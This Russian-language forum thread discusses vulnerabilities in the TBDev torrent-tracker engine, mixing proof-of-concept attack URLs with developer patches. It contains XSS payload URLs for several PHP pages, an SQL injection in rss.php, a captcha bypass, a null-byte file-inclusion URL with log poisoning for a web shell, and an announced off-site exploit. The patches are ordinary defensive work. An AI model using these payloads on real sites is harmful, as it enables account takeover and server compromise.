}
} else return FALSE;
}

Rostov114
30.06.2009, 18:06
http://127.0.0.1/treker/users.php?search=1&page=1

тут у меня выдает

Ответ от сервера MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-100,100' at line 1

в C:\xampp\htdocs\treker\users.php, линия 131

Запрос номер 12.
Скуль тут не возможен из-за строки:
$offset = ($page * $perpage) - $perpage;

YouSeeBeter
03.07.2009, 19:10
эксплоит Qwazar'a как-будто вымер.

Сейчас тестировал его на чистом SKy tracker где есть уязвимость:

Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed


Проверьте сами, даже где пахал не пашет, помогите...

Rostov114
06.07.2009, 23:18
Проверьте сами, даже где пахал не пашет, помогите...
:) Cнимай штаны и бегай.
А по сабжу....проблема не в сплоите, а в тебе.

P.S. Простите не удержался.

HAXTA4OK
08.07.2009, 21:07
http://127.0.0.1/treker/rss.php?passkey=1'

SQL

$passkey = $_GET["passkey"];
if ($passkey) {
$user = mysql_fetch_row(sql_query("SELECT COUNT(*) FROM users WHERE passkey = '$passkey'"));
if ($user[0] != 1)
exit();
} else
loggedinorreturn();


XSS

http://127.0.0.1/treker/viewrequests.php?sort=%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E





P.S. сорр не бегал по всем страницам так что не знаю выкладывали или нет багу =)



http://127.0.0.1/treker/usersearch.php?r=%22%3Cscript%3Ealert(/XSS/)%3C/script%3E

=\ что то не понял...есть тут что нить или просто косяк кода?

во всех(или нет, не проверял) usersearch.php?....=%22%3Cscript%3Ealert(/XSS/)%3C/script%3E

такой косяк))))

HAXTA4OK
08.07.2009, 21:57
http://127.0.0.1/treker/userhistory.php?action=viewposts&id=x


x= id у которого нету постов как я понял ..и он выдаст ошибку ))) но SQL не провернуть так как нету таблы такой у меня

так что наверно к разряду раскрытие путей

Yuna
09.07.2009, 15:53
usersearch.php дыряв на XSS лучше чем решето =)))

peonix
09.07.2009, 22:44
usersearch.php дыряв на XSS лучше чем решето =)))
а по подробнее можно? и в каких версиях?

Yuna
10.07.2009, 12:18
во всех

peonix
12.07.2009, 01:13
во всех
напиши что за XSS ты узал если не трудно...

Yuna
12.07.2009, 11:42
для начала просто код откройте - нет проверки $_GET ваще никакой в файле...

peonix
13.07.2009, 02:49
Yuna
а через какой скрипт Вы в usersearch.php параметры передавали? просто так его вызвать нельзя...

Nightmarе
13.07.2009, 04:46
Это видимо особый стиль написания движка с новым подходом?
Хоть одну дырку (пусть беспонтовую) осмысленно оставить...

Yuna
13.07.2009, 13:22
просто так его вызвать нельзя...

? в смисле нельзя

peonix
13.07.2009, 17:37
? в смисле нельзя
ну доступа к нему нет, ошибка 403, проверял и на локалхосте и во всех сайтах с этим движком

Yuna
13.07.2009, 19:35
Видимо у вас что -то не так, вызвать его напрямую можно...
Только он доступен-то модератором только т.к это против них XSS

Rostov114
02.08.2009, 10:39
Новый сплоит от меня. Базируеться на сплоите от Qwazar.

На данный момент он умеет обходить:

Коды регистрации
Запросы инвайтов
Бан по IP


Совершает атаки через:

./rss.php
./requests.php
./takesignup.php
./check_signup.php
./viewoffers.php
Форум


Также имеет 2 способа работы:

Multi mode - атака по всем файлам, в том числе авторигистрация.
Qwazar exploit mode - работает как вторая версия эксплоита от Qwazar (http://forum.antichat.ru/member.php?userid=17119)


В связи с тем что форум не захотел отобразить не маленький сплоит. Пришлось его загрузить на отдельный сервер. Взять его можете здесь (http://audi100aar.narod.ru/tbdev2sql.html)

Если по каким то причинам данный скрипт у вас не запускается, виноваты вы. Он рабочий, проверялся на оригинальном TBDev 2.0.

Внимание: Данная программа выложена здесь для ознакомления.
Автор не несёт ответственности за негативные последствия, причинённые данной программой в результате правильного или неправильного её использования.
Также автор не несет ответственности за причерченный вред кому либо данной программой.

HAXTA4OK
05.08.2009, 23:15
как еще можно залить шелл??кроме блоков

Yuna
07.08.2009, 13:00
Новый сплоит от меня. Базируеться на сплоите от Qwazar.

Спасибо за сплоит, пару багов закрыл ;)

как еще можно залить шелл??кроме блоков
Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак.

1ce666
07.08.2009, 15:02
Делись фиксами :D

HAXTA4OK
07.08.2009, 18:51
Спасибо за сплоит, пару багов закрыл ;)


Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак.


зарегай меня там...а то скока мылов у тебя блочены =) а новые версии интересны =)

Qwazar
07.08.2009, 19:20
Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак. Можно, если есть доступ в админку. По крайней мере в той версии, что сейчас доступна для скачивания и во всех предыдущих. Палю превад (From ROA with love):

RFI/LFI:

В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания: $op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];

foreach ($_GET as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
$GLOBALS[$key] = $value;

require_once($rootpath . 'admin/functions.php'); Этот файл инклудится в admin.php . Который в свою очередь инклудится в admincp.php. (Файлы из /admin/ закрыты при помощи .htaccess)

т.е. : http://test/tbdev/admincp.php?rootpath=[RFI/LFI]

Yuna
07.08.2009, 23:00
Если ты про Remote Code inclusion - работаьтьб бдует только если register_globals = On

а про доступ к админке -не думаю что там уже нужно что-то больше ;)

Jokester
07.08.2009, 23:10
Yuna
LFI порой бывает вполне достаточно. Вариантов масса.

Yuna
07.08.2009, 23:38
LFI? расшифруй

Local file inclusion?

в данном случае он тоже не пройдет, кстаи такая фишка и в announce.php Тоже ;)

Qwazar
07.08.2009, 23:41
LFI? расшифруй Local File Inclusion, вкрадце, мы в логи фигачим PHP код, а потом эти лог файлы инклудим. (как один из вариантов, есть ещё)

В общем, обычно этого достаточно чтобы на сервере получить полноценный веб-шелл.

З.Ы.
На последней версии доступной для скачивания, проходит на 100%.

Yuna
07.08.2009, 23:45
На последней версии доступной для скачивания, проходит на 100%.

повторяю - если register_globals = On

Qwazar
07.08.2009, 23:46
повторяю - если register_globals = On Неа, при Off

http://test2.ru/admincp.php?rootpath=../2.php%00

Это при

php_flag register_globals Off
php_flag magic_quotes_gpc Off

Нормально запускает 2.php

при magic_quotes_gpc On также есть вариант отрезать всё что после нашего имени файла (в соседних темах метод описан).

Yuna
07.08.2009, 23:51
Неа, при Off

http://test2.ru/admincp.php?rootpath=../2.php%00

Это при

php_flag register_globals Off
php_flag magic_quotes_gpc Off
ммм, да, вижу в чем прикол =)) забавно
у аннонсера просто прикол тоже с rootpath + globals + разрешить fopen + url =))

Qwazar
07.08.2009, 23:53
ммм, да, вижу в чем прикол =)) забавно
у аннонсера просто прикол тоже с rootpath + globals + разрешить fopen + url =)) Угу, при глобалс он права админа не нужны :)

Yuna
08.08.2009, 00:09
можно сделать попроще - доступ к admincp.php - там тоже проверку если ты админ - проблему решает, не на 100%, но решает.

Qwazar
08.08.2009, 00:17
можно сделать попроще - доступ к admincp.php - там тоже проверку если ты админ - проблему решает, не на 100%, но решает. Нельзя решать проблему не на 100%, к тому же мой метод пашет только для админа и так. Лучше заменить $rootpath на чтото типа dirname(__FILE__), или путь к корню дефайном куда нибудь засунуть, в общем избавиться от переменной.

P.S.
А вообще надо думать нафига вот такой кусок кода вообще нужен, т.к.он заведомо будет являться причиной уязвимостей, даже если конкретно эту пофиксить. (Там при добавлении каких нибудь модулей к примеру, ну или может где нибудь ещё какая переменная в админке инклудится, а не только $rootpath)

Yuna
08.08.2009, 00:31
в общем избавиться от переменной.

убрал вообще, но да - это таки серьезная бага... надо было самому код это писать, а не со слаеда тянуть :D

1ce666
08.08.2009, 00:35
Фикса не будет? :confused:

Qwazar
08.08.2009, 11:43
Фикса не будет? :confused: Дык сам прикинь как бы пофиксил и пофиксь. Как примерно надо фиксить я описал выше. (в качестве hotfix'а сойдёт)

Yuna
08.08.2009, 13:41
а вот про авто-регу с капчей я че-то не понял твоего кода...

imagestring = 0...

i do beleive, this is the fix for admin/core.php

/*foreach ($_GET as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
$GLOBALS[$key] = $value;*/

extract($_GET, EXTR_SKIP);
extract($_POST, EXTR_SKIP);

я ниче не пропустил? :)

Qwazar
08.08.2009, 14:26
Да вроде бы ничего, ну разве что может какие модули завязаные на старый код попадают :)

Yuna
08.08.2009, 14:33
а про авто-регу?

а этот код он как делает: то-же самое что и старый, только если переменная уже есть - оно ее не тронет

Qwazar
08.08.2009, 14:54
Про авторегу не ко мне, я не вникал.

З.Ы.
А попадать могут те, которые на COOKIE завязаны, или переписывают переменные.

Yuna
08.08.2009, 15:29
на куки - то ваще надо быть психом =)))

а вообще - надо с нцуля движок сделать :D

HAXTA4OK
08.08.2009, 21:13
XSS вроде не было такой =)

http://10.235.11.163/treker/makepoll.php?action=edit&pollid=2&returnto=%20%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

Yuna
09.08.2009, 02:48
немного хитрая дырка- надо знать id опроса, а он кажеться в блоке опроса не светиться

Rostov114
09.08.2009, 05:12
а вот про авто-регу с капчей я че-то не понял твоего кода...

imagestring = 0...

$b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));
Проблема в том что sqlesc() экранирует только параметры отличные от numeric. И получаеться что мы просовываем SQL запрос вида:
SELECT * FROM captcha WHERE imagehash = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' AND imagestring = 0
И MySQL цепляет запись из таблицы с imagehash равным 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' а т.к. там у нас 0 без '' MySQL по моему вообще не смотрит данное значение и возвращает результат в итоге $b у нас равна 1, что дает нам спокойно зарегестрироваться

P.S. SQL запрос конечно не такой но лень было лезть и смотреть функцию get_row_count(), а так я забыл че в ней содержиться. xD

Yuna
09.08.2009, 11:10
Окей, тогда пофикшу принудительной кавычкацией.

sqlesc($something, true);

function sqlesc($value, $force = false) {
// Stripslashes
/*if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}*/
// Quote if not a number or a numeric string
if (!is_numeric($value) || $force) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}

И MySQL цепляет запись из таблицы с imagehash равным 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' а т.к. там у нас 0 без '' MySQL по моему вообще не смотрит данное значение и возвращает результат в итоге $b у нас равна 1, что дает нам спокойно зарегестрироваться

ваще какой-то бред сказанул...

Rostov114
09.08.2009, 14:55
ваще какой-то бред сказанул...
:p Что ты хочеш от сонного человека....

Yuna
09.08.2009, 15:37
Ну смотри - если imagehash = 32-а 0-ка то это выйдет 0 и imagestring = 0

что выйдет SELECT COUNT(*) FROM captcha WHERE imagehash = 0 AND imagestring = 0; что ваще-то должно тоже вернуть 0 и $b должно тоже быть 0!

HAXTA4OK
09.08.2009, 21:28
XSS

http://localhost/treker/testport.php?port=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

if ($_SERVER["REQUEST_METHOD"] == "POST")
$port = $_POST["port"];
else
$port = $_GET['port'];
.................................................. ..............
<font color=darkgreen><br><center><b>IP: $ip is on the Port: $port good !</b></center><br></font>

можно просто ввести скрипт в поле =) ибо и $port = $_POST["port"]; через POST посылается

Dflbv
10.08.2009, 22:05
скажите есть ли какие нибудь уязвимости в message.php?

1ce666
12.08.2009, 01:53
XSS

http://localhost/treker/testport.php?port=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

if ($_SERVER["REQUEST_METHOD"] == "POST")
$port = $_POST["port"];
else
$port = $_GET['port'];
.................................................. ..............
<font color=darkgreen><br><center><b>IP: $ip is on the Port: $port good !</b></center><br></font>

можно просто ввести скрипт в поле =) ибо и $port = $_POST["port"]; через POST посылается

$port = $_POST["port"];
else
$port = $_GET['port'];

Заменяем на:
$port = (int)$_POST["port"];
else
$port = (int)$_GET['port'];

maxiox
12.08.2009, 14:11
как оптимизировать етот запрос?
17] => 7.104873 [SELECT COUNT(*) FROM torrents]

1ce666
12.08.2009, 18:29
XSS вроде не было такой =)

http://10.235.11.163/treker/makepoll.php?action=edit&pollid=2&returnto=%20%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
<input type=hidden name=returnto value=<?=$_GET["returnto"]?>>
Заменяем на:
<input type=hidden name=returnto value=<?=(int)$_GET["returnto"]?>>
Подсказал HAXTA4OK :)

Qwazar
12.08.2009, 18:40
Эмм, а вам не кажется что в этом поле значением является не цифра, и такой фикс не катит?

1ce666
12.08.2009, 18:49
Эмм, а вам не кажется что в этом поле значением является не цифра, и такой фикс не катит?
Ну я протестил и XSS небыло :rolleyes:

HAXTA4OK
12.08.2009, 18:53
что предложиш? я просто в пхп не силен на столько :) да вроде поставив int он вроде как все равно работает :)

Qwazar
12.08.2009, 19:04
XSS то не проходит, но логику приложения вы нарушили, к примеру вот этот код никогда не выполнится, из-за вашего "фикса": if ($returnto == "main")
header("Location: $DEFAULTBASEURL");


Фиксить, когда значение является строкой, можно к примеру, так:
<input type=hidden name=returnto value="<?=htmlspecialchars($_GET["returnto"])?>">

HAXTA4OK
12.08.2009, 19:08
тока что хотел предложить htmlentities поставить :)

strip_tags()
htmlspecialchars()
stripslashes()
mysql_real_escape_string

еще же эти можно да?

Qwazar
12.08.2009, 19:17
strip_tags() - однозначно нет.
htmlspecialchars - да.

stripslashes(), mysql_real_escape_string - вообе из другой оперы.

HAXTA4OK
12.08.2009, 19:29
ясно :)

mailbrush
12.08.2009, 19:50
strip_tags удаляет теги, у нее есть баги.
htmlspecialchars преобразует специальные символы в HTML сущности - тру защита от XSS.
stripslashes удаляет экранирование символов, произведенное функцией addslashes() - вообще не в тему.
mysql_real_escape_string() экранирует специальные символы в строке, используемой в SQL-запросе. Тру защита от инъ, но не XSS.

1ce666
12.08.2009, 23:23
Фикс файла usersearch.php :)
Найти:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=$_GET['n']?>" size=35></td>

Заменить на:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=htmlspecialchars($_GET['n'])?>" size=35></td>

Найти:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Заменяем на:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<input name="r" type="text" value="<?=$_GET['r']?>" size="5" maxlength="4">
<input name="r2" type="text" value="<?=$_GET['r2']?>" size="5" maxlength="4"></td>
Заменить на:
<input name="r" type="text" value="<?=htmlspecialchars($_GET['r'])?>" size="5" maxlength="4">
<input name="r2" type="text" value="<?=htmlspecialchars($_GET['r2'])?>" size="5" maxlength="4"></td>

Найти:
$options = array("(Любой)","Подтвержден","Не подтвержден");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['st']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
$options = array("(Любой)","Подтвержден","Не подтвержден");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['st']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<tr><td valign="middle" class=rowhead>Email:</td>
<td<?=$_GET['em']?$highlight:""?>><input name="em" type="text" value="<?=$_GET['em']?>" size="35"></td>
<td valign="middle" class=rowhead>IP:</td>
<td<?=$_GET['ip']?$highlight:""?>><input name="ip" type="text" value="<?=$_GET['ip']?>" maxlength="17"></td>
Заменить на:
<tr><td valign="middle" class=rowhead>Email:</td>
<td<?=$_GET['em']?$highlight:""?>><input name="em" type="text" value="<?=htmlspecialchars($_GET['em'])?>" size="35"></td>
<td valign="middle" class=rowhead>IP:</td>
<td<?=$_GET['ip']?$highlight:""?>><input name="ip" type="text" value="<?=htmlspecialchars($_GET['ip'])?>" maxlength="17"></td>

Найти:
$options = array("(Любой)","Нет","Да");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['as']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
$options = array("(Любой)","Нет","Да");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['as']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<td valign="middle" class=rowhead>Комментарий:</td>
<td<?=$_GET['co']?$highlight:""?>><input name="co" type="text" value="<?=$_GET['co']?>" size="35"></td>
<td valign="middle" class=rowhead>Маска:</td>
<td<?=$_GET['ma']?$highlight:""?>><input name="ma" type="text" value="<?=$_GET['ma']?>" maxlength="17"></td>
<td valign="middle" class=rowhead>Класс:</td>
<td<?=($_GET['c'] && $_GET['c'] != 1)?$highlight:""?>><select name="c"><option value='1'>(Любой)</option>
Заменить на:
<td valign="middle" class=rowhead>Комментарий:</td>
<td<?=$_GET['co']?$highlight:""?>><input name="co" type="text" value="<?=htmlspecialchars($_GET['co'])?>" size="35"></td>
<td valign="middle" class=rowhead>Маска:</td>
<td<?=$_GET['ma']?$highlight:""?>><input name="ma" type="text" value="<?=htmlspecialchars($_GET['ma'])?>" maxlength="17"></td>
<td valign="middle" class=rowhead>Класс:</td>
<td<?=((int)$_GET['c'] && (int)$_GET['c'] != 1)?$highlight:""?>><select name="c"><option value='1'>(Любой)</option>

Найти:
$class = $_GET['c'];
if (!is_valid_id($class))
$class = '';
Заменить на:
if (!is_valid_id($_GET['c']))
$class = '';
$class = (int) $_GET['c'];

Найти:
<td valign="middle" class=rowhead>Регистрация:</td>

<td<?=$_GET['d']?$highlight:""?>><select name="dt">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['dt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Заменить на:
<td valign="middle" class=rowhead>Регистрация:</td>

<td<?=$_GET['d']?$highlight:""?>><select name="dt">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['dt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<input name="d" type="text" value="<?=$_GET['d']?>" size="12" maxlength="10">

<input name="d2" type="text" value="<?=$_GET['d2']?>" size="12" maxlength="10"></td>
Заменить на:
<input name="d" type="text" value="<?=htmlspecialchars($_GET['d'])?>" size="12" maxlength="10">

<input name="d2" type="text" value="<?=htmlspecialchars($_GET['d2'])?>" size="12" maxlength="10"></td>

Найти:
<td valign="middle" class=rowhead>Раздал:</td>

<td<?=$_GET['ul']?$highlight:""?>><select name="ult" id="ult">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['ult']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Раздал:</td>

<td<?=$_GET['ul']?$highlight:""?>><select name="ult" id="ult">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['ult']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<input name="ul" type="text" id="ul" size="8" maxlength="7" value="<?=$_GET['ul']?>">

<input name="ul2" type="text" id="ul2" size="8" maxlength="7" value="<?=$_GET['ul2']?>"></td>
Заменить на:
<input name="ul" type="text" id="ul" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['ul'])?>">

<input name="ul2" type="text" id="ul2" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['ul2'])?>"></td>

Найти:
<td valign="middle" class="rowhead">Донор:</td>

<td<?=$_GET['do']?$highlight:""?>><select name="do">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['do']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class="rowhead">Донор:</td>

<td<?=$_GET['do']?$highlight:""?>><select name="do">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['do']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<td valign="middle" class=rowhead>Последняя активность:</td>

<td <?=$_GET['ls']?$highlight:""?>><select name="lst">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['lst']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Последняя активность:</td>

<td <?=$_GET['ls']?$highlight:""?>><select name="lst">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['lst']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<input name="ls" type="text" value="<?=$_GET['ls']?>" size="12" maxlength="10">

<input name="ls2" type="text" value="<?=$_GET['ls2']?>" size="12" maxlength="10"></td>
Заменить на:
<input name="ls" type="text" value="<?=htmlspecialchars($_GET['ls'])?>" size="12" maxlength="10">

<input name="ls2" type="text" value="<?=htmlspecialchars($_GET['ls2'])?>" size="12" maxlength="10"></td>

Найти:
<td valign="middle" class=rowhead>Скачал:</td>

<td<?=$_GET['dl']?$highlight:""?>><select name="dlt" id="dlt">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['dlt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Заменить на:
<td valign="middle" class=rowhead>Скачал:</td>

<td<?=$_GET['dl']?$highlight:""?>><select name="dlt" id="dlt">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['dlt']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
<input name="dl" type="text" id="dl" size="8" maxlength="7" value="<?=$_GET['dl']?>">

<input name="dl2" type="text" id="dl2" size="8" maxlength="7" value="<?=$_GET['dl2']?>"></td>
Заменить на:
<input name="dl" type="text" id="dl" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['dl'])?>">

<input name="dl2" type="text" id="dl2" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['dl2'])?>"></td>

Найти:
<td valign="middle" class=rowhead>Предупрежден:</td>

<td<?=$_GET['w']?$highlight:""?>><select name="w">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['w']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Предупрежден:</td>

<td<?=$_GET['w']?$highlight:""?>><select name="w">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['w']=="$i")?"selected":"").">".$options[$i]."</option>\n";

Найти:
// name
$names = explode(' ',trim($_GET['n']));
Заменить на:
// name
$names = explode(' ',trim(htmlspecialchars($_GET['n'])));

Найти:
$q .= ($q ? "&amp;" : "") . "n=".urlencode(trim($_GET['n']));
Заменить на:
$q .= ($q ? "&amp;" : "") . "n=".urlencode(trim(htmlspecialchars($_GET['n'])));

Найти:
// email
$emaila = explode(' ', trim($_GET['em']));
Заменить на:
// email
$emaila = explode(' ', trim(htmlspecialchars($_GET['em'])));

Найти:
$q .= ($q ? "&amp;" : "") . "em=".urlencode(trim($_GET['em']));
Заменить на:
$q .= ($q ? "&amp;" : "") . "em=".urlencode(trim(htmlspecialchars($_GET['em'])));

Найти:
//class
// NB: the c parameter is passed as two units above the real one
$class = $_GET['c'] - 2;
Заменить на:
//class
// NB: the c parameter is passed as two units above the real one
$class = (int) $_GET['c'] - 2;

Найти:
// IP
$ip = trim($_GET['ip']);
Заменить на:
// IP
$ip = trim(htmlspecialchars($_GET['ip']));

Найти:
// ratio
$ratio = trim($_GET['r']);
Заменить на:
// ratio
$ratio = trim(htmlspecialchars($_GET['r']));

Найти:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " (u.uploaded/u.downloaded)";
$ratiotype = $_GET['rt'];
Заменить на:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " (u.uploaded/u.downloaded)";
$ratiotype = (int) $_GET['rt'];

Найти:
$ratio2 = trim($_GET['r2']);
if(!$ratio2)
Заменить на:
$ratio2 = trim(htmlspecialchars($_GET['r2']));
if(!$ratio2)

Найти:
// comment
$comments = explode(' ',trim($_GET['co']));
Заменить на:
// comment
$comments = explode(' ',trim(htmlspecialchars($_GET['co'])));

Найти:
// uploaded
$ul = trim($_GET['ul']);
Заменить на:
// uploaded
$ul = trim((int)$_GET['ul']);

Найти:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " u.uploaded ";
$ultype = $_GET['ult'];
Заменить на:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " u.uploaded ";
$ultype = (int)$_GET['ult'];

Найти:
$ul2 = trim($_GET['ul2']);
if(!$ul2)
Заменить на:
$ul2 = trim((int)$_GET['ul2']);
if(!$ul2)

Найти:
// downloaded
$dl = trim($_GET['dl']);
Заменить на:
// downloaded
$dl = trim((int)$_GET['dl']);

Найти:
$dltype = $_GET['dlt'];
$q .= ($q ? "&amp;" : "") . "dlt=$dltype";
if ($dltype == "3")
{
$dl2 = trim($_GET['dl2']);
if(!$dl2)
Заменить на:
$dltype = (int)$_GET['dlt'];
$q .= ($q ? "&amp;" : "") . "dlt=$dltype";
if ($dltype == "3")
{
$dl2 = trim((int)$_GET['dl2']);
if(!$dl2)

Найти:
$datetype = $_GET['dt'];
$q .= ($q ? "&amp;" : "") . "dt=$datetype";
if ($datetype == "0")
Заменить на:
$datetype = (int)$_GET['dt'];
$q .= ($q ? "&amp;" : "") . "dt=$datetype";
if ($datetype == "0")

Найти:
$q .= ($q ? "&amp;" : "") . "ls=$last";
$lasttype = $_GET['lst'];
Заменить на:
$q .= ($q ? "&amp;" : "") . "ls=$last";
$lasttype = (int)$_GET['lst'];

Найти:
// status
$status = $_GET['st'];
Заменить на:
// status
$status = (int)$_GET['st'];

Найти:
// account status
$accountstatus = $_GET['as'];
Заменить на:
// account status
$accountstatus = (int)$_GET['as'];

Найти:
//donor
$donor = $_GET['do'];
Заменить на:
//donor
$donor = (int)$_GET['do'];

Найти:
//warned
$warned = $_GET['w'];
Заменить на:
//warned
$warned = (int)$_GET['w'];

Найти:
// disabled IP
$disabled = $_GET['dip'];
Заменить на:
// disabled IP
$disabled = htmlspecialchars($_GET['dip']);

Найти:
// active
$active = $_GET['ac'];
Заменить на:
// active
$active = (int)$_GET['ac'];
PS: Выдрано из сборки Kinokpk.

И ещё баг в usersearch.php, данные о количестве постов в комментариях съезжают влево, не вставая в ячейки таблицы!
Найти:
"|".($n_comments?"<a href=userhistory.php?action=viewcomments&id=".$user['id'].">$n_comments</a>":$n_comments).
Заменить на:
"<td><div align=center>".($n_comments?"<a href=userhistory.php?action=viewcomments&id=".$user['id'].">$n_comments</a>":$n_comments).

Qwazar
13.08.2009, 10:46
тут ты ошибаешься:

Вот это: //class
// NB: the c parameter is passed as two units above the real one
$class = $_GET['c'] - 2; не надо менять на вот это://class
// NB: the c parameter is passed as two units above the real one
$class = (int) $_GET['c'] - 2;Т.к. математические операции предотвращают XSS. Т.е. $a = 0 + $_GET['a'] - всегда будет числом.

З.Ы.
Ну это то что бросается в глаза. Уверен в твоих фиксах есть ещё избыточные и не совсем логичные.

К примеру ты много где делаешь trim от числа, как тут:
$dl2 = trim((int)$_GET['dl2']); Зачем? Тут либо ты ошибся, и разработчик ожидает в этом поле не число, то ли у разработчика руки кривые, но тогда trim можно вообще не переносить в фикс, т.к. (int) переведёт строку в число, даже если перед цифрами стоят пробелы.

З.Ы.Ы.
Вот если бы ты к каждому твоему фиксу показал пример использования XSS, то было бы понятно, что к чему ;)

Yuna
13.08.2009, 11:11
А не проще-ли usersearch.php выкинуть наф? :)
+ привязать юзерские сессии к ипам т.е ип и некая хрень известная только нам и будет солью для КУКИСОВ т.е фактически мы нифелируем почти весь эффект + ну да и заблочить внешние post что-б через xss не сделали iframe что шлет post на takeprofedit.php с изменением мыла (пароль нельзя сменить не зная старого)

Qwazar
13.08.2009, 11:22
Yuna, ты же разработчик ты и решай :) Я бы на твоём месте usersearch.php пофиксил, тем более, там не так уж и много фиксить. А привязать сессии к IP - мысль имхо здравая.

Yuna
13.08.2009, 11:46
Я бы на твоём месте usersearch.php пофиксил, тем более, там не так уж и много фиксить.

Мне ТАК впаааадло =)) А сесссию привязку в движок встрою, вот в ТП это сразу встроено =)))

1ce666
13.08.2009, 13:21
Qwazar
Подскажите пожалуйста если не трудно как лучше сделать ...

Мне кажется юна ищет лёгкий путь чтобы отделаться от usersearch.php :D

maxiox
13.08.2009, 18:34
http://depositfiles.com/files/26el339v3 фиксед usersearch

HAXTA4OK
13.08.2009, 23:03
что то тема чуть тухнет без багов :)продолжим

version : 2008 © TBDev RU v [3.0]

[/color=green]XSS[/color]

browse.php?search=&cat=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

news.php?action=edit&newsid=13&returnto=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

Kpeamop
14.08.2009, 04:34
Фикс файла usersearch.php :)
Найти:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=$_GET['n']?>" size=35></td>

Заменить на:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=htmlspecialchars($_GET['n'])?>" size=35></td>

Найти:
$options = array("равен","выше","ниже","между");
